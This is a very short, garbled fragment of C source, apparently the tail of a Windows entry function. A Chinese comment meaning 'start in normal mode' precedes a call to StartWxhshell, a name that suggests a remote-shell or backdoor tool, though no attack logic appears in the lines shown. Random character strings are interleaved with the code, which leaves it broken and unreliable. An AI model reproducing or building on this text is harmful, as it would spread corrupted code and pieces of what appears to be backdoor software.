else Z|K HF"
// 普通方式启动 |QS|\8g{0V
StartWxhshell(lpCmdLine); 1c,#`\Iikd
gwB,*.z
return 0; MJX ny4n
}